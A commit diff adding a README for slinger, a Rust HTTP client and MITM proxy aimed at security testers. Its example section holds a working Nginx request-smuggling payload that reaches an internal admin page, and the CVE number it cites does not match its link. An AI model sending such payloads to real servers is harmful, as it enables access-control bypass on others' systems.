Skip to content

Commit b5152eb

Browse files
committed
update
1 parent 241e7b8 commit b5152eb

File tree

2 files changed

+310
-1
lines changed

2 files changed

+310
-1
lines changed

crates/slinger/Cargo.toml

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@ description = "An HTTP Client for Rust designed for hackers."
66
homepage.workspace = true
77
repository.workspace = true
88
authors.workspace = true
9-
readme = "../README.md"
109
license.workspace = true
1110

1211

crates/slinger/README.md

Lines changed: 310 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,310 @@
1+
<!-- Improved compatibility of back to top link: See: https://github.com/emo-crab/slinger/pull/73 -->
2+
<a name="readme-top"></a>
3+
<!--
4+
*** Thanks for checking out the slinger. If you have a suggestion
5+
*** that would make this better, please fork the repo and create a pull request
6+
*** or simply open an issue with the tag "enhancement".
7+
*** Don't forget to give the project a star!
8+
*** Thanks again! Now go create something AMAZING!
9+
-->
10+
11+
12+
13+
<!-- PROJECT SHIELDS -->
14+
<!--
15+
*** I'm using markdown "reference style" links for readability.
16+
*** Reference links are enclosed in brackets [ ] instead of parentheses ( ).
17+
*** See the bottom of this document for the declaration of the reference variables
18+
*** for contributors-url, forks-url, etc. This is an optional, concise syntax you may use.
19+
*** https://www.markdownguide.org/basic-syntax/#reference-style-links
20+
-->
21+
[![Contributors][contributors-shield]][contributors-url]
22+
[![Forks][forks-shield]][forks-url]
23+
[![Stargazers][stars-shield]][stars-url]
24+
[![Issues][issues-shield]][issues-url]
25+
[![MIT License][license-shield]][license-url]
26+
[![crates io][crates-shield]][crates-url]
27+
28+
29+
30+
31+
<!-- PROJECT LOGO -->
32+
<br />
33+
<div align="center">
34+
<a href="https://github.com/emo-crab/slinger">
35+
<img src="images/logo.svg" alt="Logo">
36+
</a>
37+
38+
<h3 align="center">slinger(投石器)</h3>
39+
40+
<p align="center">
41+
An HTTP Client for Rust designed for hackers.
42+
<br />
43+
<a href="https://github.com/emo-crab/slinger"><strong>Explore the docs »</strong></a>
44+
<br />
45+
<br />
46+
<a href="https://github.com/emo-crab/slinger">View Demo</a>
47+
·
48+
<a href="https://github.com/emo-crab/slinger/issues">Report Bug</a>
49+
·
50+
<a href="https://github.com/emo-crab/slinger/issues">Request Feature</a>
51+
</p>
52+
</div>
53+
54+
<!-- ABOUT THE PROJECT -->
55+
56+
## About The Project
57+
58+
![Product Name Screen Shot][product-screenshot]
59+
60+
**Slinger** is a workspace containing:
61+
62+
### slinger
63+
The core HTTP client library for Rust designed for hackers.
64+
65+
- customizable redirect policy
66+
- http/https and socks5/socks5h proxies
67+
- cookie store
68+
- raw socket request
69+
- HTTPS via tls
70+
71+
### slinger-mitm
72+
A Man-in-the-Middle (MITM) proxy with transparent HTTPS traffic interception, similar to Burp Suite.
73+
74+
- Automatic CA certificate generation with improved certificate management (inspired by [hudsucker](https://github.com/omjadas/hudsucker))
75+
- Certificate caching for high performance
76+
- Transparent HTTPS interception using rustls backend
77+
- Traffic interception and modification interfaces
78+
- Random serial numbers and clock skew handling
79+
- Reuses slinger's Socket implementation
80+
- Minimal external dependencies
81+
82+
<p align="right">(<a href="#readme-top">back to top</a>)</p>
83+
84+
85+
86+
<!-- GETTING STARTED -->
87+
88+
## Getting Started
89+
90+
### Using slinger (HTTP Client)
91+
92+
This example enables some optional features, so your `Cargo.toml` could look like this:
93+
94+
```toml
95+
[dependencies]
96+
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
97+
```
98+
99+
And then the code:
100+
101+
```rust,no_run
102+
#[tokio::main]
103+
async fn main() -> Result<(), Box<dyn std::error::Error>> {
104+
let resp = slinger::get("https://httpbin.org/get").await?;
105+
println!("{:?}", resp.text());
106+
Ok(())
107+
}
108+
```
109+
110+
### Using slinger-mitm (MITM Proxy)
111+
112+
Add to your `Cargo.toml`:
113+
114+
```toml
115+
[dependencies]
116+
slinger-mitm = { version = "0.2.9" }
117+
tokio = { version = "1", features = ["full"] }
118+
```
119+
120+
Example code:
121+
122+
```rust,no_run
123+
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
124+
use std::sync::Arc;
125+
126+
#[tokio::main]
127+
async fn main() -> Result<(), Box<dyn std::error::Error>> {
128+
let config = MitmConfig::default();
129+
let proxy = MitmProxy::new(config).await?;
130+
131+
// Add logging interceptor
132+
let handler = proxy.interceptor_handler();
133+
let mut h = handler.write().await;
134+
h.add_request_interceptor(Arc::new(Interceptor::logging()));
135+
drop(h);
136+
137+
proxy.start("127.0.0.1:8080").await?;
138+
Ok(())
139+
}
140+
```
141+
142+
See [slinger-mitm/README.md](slinger-mitm/README.md) for more details on MITM proxy usage.
143+
144+
<!-- FEATURES -->
145+
146+
## Features
147+
148+
Slinger supports the following optional features:
149+
150+
- `tls` - Base TLS feature (enables TLS types and interfaces without a specific backend)
151+
- `rustls` - HTTPS support using Rustls (requires `tls`, pure Rust implementation)
152+
- `http2` - HTTP/2 protocol support (requires a TLS backend)
153+
- `cookie` - Cookie handling support
154+
- `charset` - Character encoding support
155+
- `serde` - Serialization/deserialization support
156+
- `gzip` - Gzip compression support
157+
- `schema` - JSON Schema support
158+
159+
### TLS Backend Selection
160+
161+
To use TLS, you must:
162+
1. Enable the `tls` feature
163+
2. Choose the `rustls` backend, OR provide a custom TLS connector
164+
165+
Example feature combinations:
166+
```toml
167+
# Using rustls backend
168+
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
169+
170+
# Using custom TLS backend (requires implementing CustomTlsConnector)
171+
slinger = { version = "0.2.8", features = ["tls"] }
172+
```
173+
174+
### Custom TLS Backend (e.g., native-tls, OpenSSL)
175+
176+
If you want to use native-tls, OpenSSL, or other TLS libraries, you can implement a custom TLS connector.
177+
See the [native_tls_example.rs](examples/native_tls_example.rs) for a complete example of how to integrate native-tls.
178+
179+
<!-- USAGE EXAMPLES -->
180+
181+
## Example
182+
183+
- Nginx - Http Smuggling [CVE-2019-20372](https://scap.kali-team.cn/cve/CVE-2020-11724)
184+
185+
```rust
186+
use std::io::BufRead;
187+
use slinger::{ClientBuilder, HTTPRecord};
188+
189+
/// CVE-2020-11724
190+
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
191+
const RAW: &[u8] = b"GET /test1 HTTP/1.1
192+
Host: 192.168.83.196:8081
193+
Content-Length: 42
194+
Transfer-Encoding: chunked
195+
196+
0
197+
198+
GET /test1 HTTP/1.1
199+
Host: 192.168.83.196:8081
200+
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
201+
202+
";
203+
#[tokio::main]
204+
async fn main() -> Result<(), Box<dyn std::error::Error>> {
205+
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
206+
let client = ClientBuilder::default().build().unwrap();
207+
let mut raw = Vec::new();
208+
// replace \n to \r\n
209+
for line in RAW.lines() {
210+
match line {
211+
Ok(l) => {
212+
raw.extend(l.as_bytes());
213+
raw.extend(b"\r\n")
214+
}
215+
Err(err) => {
216+
println!("{:?}", err);
217+
}
218+
}
219+
}
220+
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
221+
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
222+
println!("{:?}", record);
223+
Ok(())
224+
}
225+
226+
```
227+
228+
_For more examples, please refer to the [example](https://github.com/emo-crab/slinger/tree/main/examples)_
229+
230+
<p align="right">(<a href="#readme-top">back to top</a>)</p>
231+
232+
<!-- CONTRIBUTING -->
233+
234+
## Contributing
235+
236+
Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any
237+
contributions you make are **greatly appreciated**.
238+
239+
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also
240+
simply open an issue with the tag "enhancement".
241+
Don't forget to give the project a star! Thanks again!
242+
243+
1. Fork the Project
244+
2. Create your Feature Branch (`git checkout -b feature/AmazingFeature`)
245+
3. Commit your Changes (`git commit -m 'Add some AmazingFeature'`)
246+
4. Push to the Branch (`git push origin feature/AmazingFeature`)
247+
5. Open a Pull Request
248+
249+
<p align="right">(<a href="#readme-top">back to top</a>)</p>
250+
251+
252+
253+
<!-- LICENSE -->
254+
255+
## License
256+
257+
Distributed under the `GPL-3.0-only` License. See `LICENSE` for more information.
258+
259+
<p align="right">(<a href="#readme-top">back to top</a>)</p>
260+
261+
262+
263+
<!-- CONTACT -->
264+
265+
## Contact
266+
267+
Your Name - [@Kali_Team](https://twitter.com/Kali_Team) - [email protected]
268+
269+
Project Link: [https://github.com/emo-crab/slinger](https://github.com/emo-crab/slinger)
270+
271+
<p align="right">(<a href="#readme-top">back to top</a>)</p>
272+
273+
<!-- ACKNOWLEDGMENTS -->
274+
275+
## Acknowledgments
276+
277+
* [reqwest](https://github.com/seanmonstar/reqwest)
278+
279+
<p align="right">(<a href="#readme-top">back to top</a>)</p>
280+
281+
282+
283+
<!-- MARKDOWN LINKS & IMAGES -->
284+
<!-- https://www.markdownguide.org/basic-syntax/#reference-style-links -->
285+
286+
[contributors-shield]: https://img.shields.io/github/contributors/emo-crab/slinger.svg?style=for-the-badge
287+
288+
[contributors-url]: https://github.com/emo-crab/slinger/graphs/contributors
289+
290+
[forks-shield]: https://img.shields.io/github/forks/emo-crab/slinger.svg?style=for-the-badge
291+
292+
[forks-url]: https://github.com/emo-crab/slinger/network/members
293+
294+
[stars-shield]: https://img.shields.io/github/stars/emo-crab/slinger.svg?style=for-the-badge
295+
296+
[stars-url]: https://github.com/emo-crab/slinger/stargazers
297+
298+
[issues-shield]: https://img.shields.io/github/issues/emo-crab/slinger.svg?style=for-the-badge
299+
300+
[issues-url]: https://github.com/emo-crab/slinger/issues
301+
302+
[license-shield]: https://img.shields.io/github/license/emo-crab/slinger.svg?style=for-the-badge
303+
304+
[license-url]: https://github.com/emo-crab/slinger/blob/master/LICENSE.txt
305+
306+
[product-screenshot]: images/screenshot.png
307+
308+
[crates-shield]: https://img.shields.io/crates/v/slinger.svg?style=for-the-badge
309+
310+
[crates-url]: https://crates.io/crates/slinger

0 commit comments

Comments
 (0)